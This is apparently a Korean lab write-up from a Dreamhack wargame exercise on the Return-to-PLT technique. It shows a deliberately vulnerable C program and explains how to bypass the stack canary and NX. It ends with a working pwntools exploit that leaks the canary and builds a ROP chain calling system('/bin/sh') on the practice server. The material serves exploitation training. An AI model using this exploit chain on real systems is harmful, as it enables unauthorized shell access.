06.13
checksec
명령어로 다운로드한 바이너리에 적용된 보호 기법을 파악합니다.
$ checksec rtl [*] '/home/dreamhack/rtl' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
카나리 존재, NX 적용, ASLR은 특별한 언급이 없으므로 적용
// 실습코드
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt'");
// Leak canary
printf("[1] Leak Canary\\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
rtl.c의 8번째 줄은 “/bin/sh”를 코드 섹션에 추가하기 위해 작성된 코드입니다. ASLR이 적용돼도 PIE가 적용되지 않으면 코드 세그먼트와 데이터 세그먼트의 주소는 고정되므로, “/bin/sh”의 주소는 고정되어 있습니다.
rtl.c의 17번째 줄은 PLT에 system
을 추가하기 위해 작성된 코드입니다. 지난 강의에서 배웠듯 PLT와 GOT는 라이브러리 함수의 참조를 위해 사용하는 테이블입니다. 그 중 PLT에는 함수의 주소가 resolve되지 않았을 때, 함수의 주소를 구하고 실행하는 코드가 적혀있습니다.
따라서 PLT에 어떤 라이브러리 함수가 등록되어 있다면, 그 함수의 PLT 엔트리를 실행함으로써 함수를 실행할 수 있습니다. ASLR이 걸려 있어도 PIE가 적용되어 있지 않다면 PLT의 주소는 고정되므로, 무작위의 주소에 매핑되는 라이브러리의 베이스 주소를 몰라도 이 방법으로 라이브러리 함수를 실행할 수 있습니다. 이 공격 기법을 Return to PLT라고 부릅니다.
라이브러리의 베이스 주소를 구하여 ASLR을 우회하는 기법은 다음 강의에서 다루고, 이 강의에서는 PLT를 이용하여 NX를 우회하도록 하겠습니다.
ELF의 PLT에는 ELF가 실행하는 라이브러리 함수만 포함됩니다. 따라서 다음 코드를 작성하면 PLT에 system
함수를 추가할 수 있습니다.
rtl.c의 19번째 줄부터 28번째 줄까지는 두 번의 오버플로우로 스택 카나리를 우회하고, 반환 주소를 덮을 수 있도록 작성된 코드입니다.
버퍼 오버플로우로 카나리를 우회하는 방법 및 반환 주소를 덮는 방법은 지난 번에 다뤘으므로 여기서는 설명하지 않겠습니다.
카나리 우회
rdi값을 “/bin/sh”의 주소로 설정
system(”/bin/sh”)
로 실행된다. → 셸코드 흭득from pwn import *
p = remote("host3.dreamhack.games", (포트번호))
e = ELF('./rtl')
# [1] Leak canary
buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\\x00' + p.recvn(7))
slog('canary', cnry)
# [2] Exploit
system_plt = e.plt['system']
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285
payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
payload += p64(ret) # align stack to prevent errors caused by movaps
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
p.sendafter(b'Buf: ', payload)
p.interactive()